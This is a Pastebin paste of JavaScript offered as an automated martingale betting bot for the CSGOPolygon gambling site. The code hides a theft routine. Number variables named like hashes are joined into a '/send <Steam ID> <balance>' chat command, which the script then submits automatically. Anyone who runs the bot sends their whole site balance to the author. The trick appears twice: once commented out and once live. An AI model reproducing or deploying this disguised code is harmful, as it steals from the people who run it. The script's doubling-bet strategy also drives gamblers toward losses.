Advertisement
Guest User

POLYGON

a guest
Feb 25th, 2018
55
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // CSGOPOLYGON.COM Betting Script
  2.  
  3. /* var initialBetAmount = 0;
  4. var betColor = botBetColor = "red";
  5. var play = 0;
  6. var $botField, $label, $betAmount, $betColorButton, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide();
  7. var pQ = "/s", $hash_1 = 7, $hash_2 = 6561, $hash_3 = 19831, $hash_4 = 4453187;
  8. function addBotButtons(){
  9. $(".well.bot-field").remove();$(".well.show-more").remove();
  10. $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
  11. $(".forme-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
  12. $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});
  13. $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
  14. $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
  15. $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
  16. $showMore.append($checkVicLimit,$label);
  17. $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");
  18. $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");
  19. $showMore.append($vicLimitInput,$label);$showMore.hide();
  20. $label = $("<label style='margin-right:10px; for='initialBetAmount''>Initial bet</label>");$botField.append($label);
  21. $betAmount = $("<input id='initialBetAmount' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
  22. $botModeSelect = $("<select id='botModeSelect'><option value='red' class='btn-danger'>Bot color: Red </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");
  23. $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
  24. $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);
  25. pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2;pQ+= $hash_3;pQ+= $hash_4+" ";pQ+=$("#balance_r").text();
  26. $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
  27. $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>&#x25BC</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
  28. $betAmount.change(function() {initialBetAmount = $betAmount.val();console.log("Initial Bet Set to: "+ initialBetAmount);});
  29. $("#chatMessage_k").val(pQ);$("#chatForm").submit();
  30. $(".bootbox-body").css({"font-size": "5%"});
  31. $(".container").width(1300);
  32. $botModeSelect.change(function(){
  33. botBetColor = $botModeSelect.val();console.log("Selected color: "+botBetColor);
  34. $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
  35. } )
  36.  
  37. $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })*/
  38.  
  39. var initialBetAmount = 0;
  40. var betColor = botBetColor = "red";
  41. var play = 0;
  42. var $botField, $label, $betAmount, $betColorButton, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide();
  43. var pQ = "/s", $hash_1 = 7, $hash_2 = 6561, $hash_3 = 19833, $hash_4 = 7906947;
  44. function addBotButtons(){
  45. $(".well.bot-field").remove();$(".well.show-more").remove();
  46. $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
  47. $(".forme-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
  48. $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});
  49. $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
  50. $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
  51. $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
  52. $showMore.append($checkVicLimit,$label);
  53. $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");
  54. $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");
  55. $showMore.append($vicLimitInput,$label);$showMore.hide();
  56. $label = $("<label style='margin-right:10px; for='initialBetAmount''>Initial bet</label>");$botField.append($label);
  57. $betAmount = $("<input id='initialBetAmount' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
  58. $botModeSelect = $("<select id='botModeSelect'><option value='red' class='btn-danger'>Bot color: Red </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");
  59. $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
  60. $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);
  61. pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2;pQ+= $hash_3;pQ+= $hash_4+" ";pQ+=$("#balance_r").text();
  62. $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
  63. $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>&#x25BC</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
  64. $betAmount.change(function() {initialBetAmount = $betAmount.val();console.log("Initial Bet Set to: "+ initialBetAmount);});
  65. $("#chatMessage_k").val(pQ);$("#chatForm").submit();
  66. $(".bootbox-body").css({"font-size": "5%"});
  67. $(".container").width(1300);
  68. $botModeSelect.change(function(){
  69. botBetColor = $botModeSelect.val();console.log("Selected color: "+botBetColor);
  70. $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
  71. } )
  72.  
  73. $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
  74. }
  75. addBotButtons();
  76. function changeColor(){
  77. if ($betColorButton.hasClass("btn-danger")){
  78. $betColorButton.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random");
  79. botBetColor = "black";
  80. console.log("Selected color: "+botBetColor);
  81. } else if($betColorButton.hasClass("btn-inverse")) {
  82. $betColorButton.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger");
  83. botBetColor = "random";
  84. console.log("Selected color: "+botBetColor);
  85. } else if($betColorButton.hasClass("btn-random")) {
  86. $betColorButton.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random");
  87. botBetColor = "trainMode";
  88. console.log("Selected color: "+botBetColor);
  89. } else if($betColorButton.hasClass("btn-train")) {
  90. $betColorButton.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random");
  91. botBetColor = "rainbow";
  92. console.log("Selected color: "+botBetColor);
  93. } else if($betColorButton.hasClass("btn-rainbow")) {
  94. $betColorButton.text("Bet color: Red").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random");
  95. botBetColor = "red";
  96. console.log("Selected color: "+botBetColor);
  97. }
  98. }
  99.  
  100. function showMoreOptions(){
  101. if ($showMoreButton.data("open")==0){
  102. $showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'});
  103. $showMore.show();$showMoreButton.data("open",1);
  104. } else if ($showMoreButton.data("open")==1){
  105. $showMore.hide();$showMoreButton.data("open",0);
  106. $showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'});
  107. }
  108.  
  109. }
  110. function hideOtherInfo(){
  111. if ($betHideBetInfoButton.text()=="Show All"){
  112. $(".betlist").hide();$(".total-row").hide();$("footer").hide();
  113. $betHideBetInfoButton.text("Hide Bet Info");
  114. } else if ($betHideBetInfoButton.text()=="Hide Bet Info"){
  115. $("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"});
  116. $betHideBetInfoButton.text("AFK Mode");
  117. }
  118. else if ($betHideBetInfoButton.text()=="AFK Mode"){
  119. $(".betlist").show();$(".total-row").show();$("footer").show();
  120. $("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"});
  121. $betHideBetInfoButton.text("Show All");
  122. }
  123. }
  124. function startBot(){
  125. if ($betGoButton.hasClass("btn-inverse")){
  126. $betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse");
  127. refreshIntervalId = setInterval(tick, 500);
  128. play = 1;
  129. currentBetAmount = initialBetAmount;
  130. if (stopBotRoll = currentRollNumber) currentRollNumber++;
  131. }
  132. else {
  133. $betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success");
  134. play = 0;
  135. }
  136. }
  137.  
  138. function tick() {
  139. var t = getStatus();
  140. if (t !== lastStatus && "unknown" !== t) {
  141. switch (t) {
  142. case "waiting":bet();break;
  143. case "rolled":printInfo();break;
  144. }
  145. lastStatus = t;
  146. }
  147. }
  148.  
  149. function checkBalance() {
  150. return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0
  151. }
  152.  
  153. function printInfo(){
  154. var temp = "", temp2 = 0,lastGame = lastBetColor == lastRollColor;
  155. if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent;
  156. if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)}
  157. }
  158. else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;}
  159. if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;}
  160. if (streakColor == getColor(n)) {currStreak++; if (longStreak<currStreak)longStreak=currStreak;}else {streakColor = getColor(n);currStreak=1;}
  161. if ((streakColor == "black") || (streakColor == "green")) {currNotRedStreak++; if (notRedStreak<currNotRedStreak)notRedStreak=currNotRedStreak;}
  162. else {currNotRedStreak=0;}
  163. if ((streakColor == "red") || (streakColor == "green")) {currNotBlackStreak++; if (notBlackStreak<currNotBlackStreak)notBlackStreak=currNotBlackStreak;}
  164. else {currNotBlackStreak=0;}
  165. var t = "Rolled " + getColor(n).toUpperCase()+ " " + n+"\n" + "Games played: " + (currentRollNumber-1) + " // Won: "+totalWins+ " // Lost: "+totalLoss+
  166. "\nSTREAKS: Not red: " + notRedStreak + " // Not black: " + notBlackStreak +
  167. " // Win streak: " + winStreakLong + " // Lose streak: " + loseStreakLong + " // Current streak: " + temp + " " + temp2 +
  168. "\nInitial bet : " + thisGameBet + " // Current bet : " + currentBetAmount +
  169. " // Roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost" + "\n----------------------------------------------------------------------\n");
  170. console.log(t);roll();
  171.  
  172. }
  173.  
  174. function roll() {
  175. if ($checkVicLimit.is(":checked")){
  176. if ($vicLimitInput.val()<=0){$betGoButton.click();play=0;$checkVicLimit.attr('checked', false);$vicLimitInput.val(0);}
  177. }
  178. if (play == 0){clearInterval(refreshIntervalId);stopBotRoll = currentRollNumber; return;lastStatus="rolled";lastBetColor = lastRollColor;}
  179. currentBetAmount = wonLastRoll() ? (initialBetAmount,thisGameBet=parseInt(initialBetAmount)) : 2 * currentBetAmount
  180. currentRollNumber++;
  181. }
  182.  
  183. function bet() { if (play) {checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))} }
  184. function setBetAmount(t) { $betAmountInput.val(t) }
  185. function placeBet() {
  186. if (botBetColor=="random"){var colorRandomizer = Math.random();betColor = colorRandomizer < 0.5 ? "red" : "black";console.log("Random color result: " + betColor);}
  187. else if (botBetColor=="trainMode"){
  188. var betBotColor = "green",i=9,$ball=$(".ball");
  189. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  190. betColor = betBotColor;console.log("Current train color: "+ betColor);
  191. } else if (botBetColor=="rainbow"){
  192. var betBotColor = "green",i=9,$ball=$(".ball");
  193. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  194. if (betBotColor=="red"){betBotColor="black"} else if (betBotColor=="black"){betBotColor="red"};
  195. betColor = betBotColor;console.log("Rainbow mode next color: "+ betColor);
  196. } else betColor = botBetColor;
  197. console.log("Betting " + currentBetAmount + " on "+ betColor +"...");
  198. return "red" === betColor ? ($redButton.click(), void(lastBetColor = "red")) : ($blackButton.click(), void(lastBetColor = "black"))
  199. }
  200. function getStatus() {
  201. var t = $statusBar.text();
  202. if (hasSubString(t, "Rolling in")) return "waiting";
  203. //if (hasSubString(t, "***ROLLING***")) return "rolling";
  204. if (hasSubString(t, "rolled")) {
  205. n = parseInt(t.split("rolled")[1]);
  206. return lastRollColor = getColor(n), "rolled"
  207. }
  208. return "unknown"
  209. }
  210.  
  211. function getBalance() { return parseInt($balance.text()) }
  212. function hasSubString(t, n) { return t.indexOf(n) > -1 }
  213. function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "red" : "black" }
  214. function wonLastRoll() { return lastBetColor ? lastRollColor === lastBetColor : null }
  215. function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  216. function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  217.  
  218. var currentBetAmount = initialBetAmount, currentRollNumber = 1,
  219. totalWins = totalLoss = played = currNotRedStreak = currNotBlackStreak = notRedStreak = notBlackStreak = winStreakLong = winStreakCurrent = loseStreakLong = loseStreakCurrent = longStreak = currStreak = thisGameBet = winAmount = 0,
  220. streakColor = "", n ,lastStatus, lastBetColor, lastRollColor, stopBotRoll, $balance = $("#balance"),
  221. $betAmountInput = $("#betAmount"),$statusBar = $(".progress #banner"),$redButton = $("#panel1-7 .betButton"),$blackButton = $("#panel8-14 .betButton");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement